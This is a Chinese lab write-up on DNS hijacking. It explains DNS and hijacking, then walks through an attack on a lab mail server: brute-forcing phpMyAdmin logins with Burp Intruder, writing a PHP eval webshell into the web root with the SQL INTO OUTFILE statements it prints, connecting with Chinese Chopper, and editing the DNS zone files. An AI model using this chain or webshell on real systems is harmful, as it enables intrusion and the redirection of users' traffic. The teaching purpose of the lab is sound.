域名劫持原理与实践学习笔记

预备知识

了解域名及域名劫持

由于点分十进制的IP地址难于记忆,便出现了域名。由于网络传输中最终还是基于IP,所以必须通过一种机制将IP和域名一一对应起来,这便是DNS。全球总共有13台根域名服务器。

域名劫持是互联网攻击中常见的一种攻击方式,攻击者通过对DNS服务器进行攻击,或伪造DNS将目标站点解析到别的地址,用户访问该域名时被重定向到别的站点。在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则直接返回假的IP地址或者什么也不做使得请求失去响应,其效果就是对特定的网址不能访问或访问的是假网址。

域名劫持的原理

域名劫持的基本原理是用户输入要访问的域名,请求DNS服务器遍历DNS数据库,查找该域名对应的IP地址,将其结果返回给用户。在DNS服务器遍历DNS数据库时,如果修改了该域名对应的IP,便实现了域名劫持。简单来说就是:本来一个域名对应一个IP,当这个域名对应到别的IP上就称为域名劫持。如果知道该域名的真实IP地址,则可以直接用此IP代替域名后进行访问。

实验

实验目的&环境

了解域名劫持的原理,完成对邮件服务器的劫持。

邮件服务器:Win2003,IP地址:10.1.1.10

另一台主机地址:10.1.1.253

测试者:win7,IP地址随机

实验过程

  1. 进入http://mail.test.com,看到一个登录入口

  1. 打开burpsuite,配置浏览器代理,将网络设置为手动,改为和你的burpsuite代理一致.刷新网页,成功抓包。

  1. 右键send to spider,回到target,更换显示设置,显示隐藏的文件夹。发现存在有隐藏的文件夹phpmyadmin。

  1. 也就是说,可以通过在mail.test.com的url后拼接phpmyadmin得到新的网页。拼接后,结果如下:

  1. 现在使用burpsuite暴力破解,需要先在用户名和密码栏输入任意字符。这里输入的是root和123.然后在burpsuite中发现抓获到的数据包。如果没有,可以反复点击forward,直到在数据包中发现basic:

右键basic后面的字符,可以将base64进行转换,得到输入的root&123,说明这里就是填入用户名和密码的爆破点。

  1. 现在将其发送到intruder,将原先标记的clear$掉,再选中root:123,点击add$,表示等会进行字典攻击时只攻击这里。

7.切换到payloads选项卡,在payload options中先选到1,这是对用户名的爆破,添加root;admin;administor.并在下面的separator中输入:表示分割1和2.然后选到2,这是对密码的爆破,导入已经准备好的密码字典。然后配置payload processing,并取消勾选payload encoding中的对号。

8.准备好后,点击左上角的intruder菜单,点击start attack。这个时候能够看到很多状态码为4xx的结果,表示攻击失败,以及能看到一个状态码为200的结果,其长度也相对较长,表示攻击成功。获取其中的数据,找到basic,将字符转换一下,得到用户名为root,密码为1234567890的账号。

使用该账号登录,即可进入以下界面:

9.接下来需要知道网站的路径是什么,一般网站搭建好后都会存在info.php,phpinfo.php,php_info.php等测试文件,一一访问下,发现存在phpinfo.php文件,并得知网站目录为C:/xampp/xampp/htdocs。

此时需要通过phpmyadmin拿这个站点的shell,选择SQL,输入如下命令,点击执行:

use mysql;

Create TABLE heetian (heetian1 text NOT NULL);

Insert INTO heetian(heetian1) VALUES('<?php @eval($_POST[pass]);?>');

select heetian1 from heetian into outfile 'C:/xampp/xampp/htdocs/test.php';

Drop TABLE IF EXISTS heetian;

10.执行后,会看到这样的结果:

此时访问http://mail.test.com/test.php是空白页面:

用菜刀连接一下:

11.找到C:\WINDOWS\system32\dns\etc中的test.com.zone和10.1.1.zone,将其中的主机地址改为10.1.1.253的,并保存。

12.在虚拟终端中重启dns服务,刷新mail.test.com后,发现劫持成功。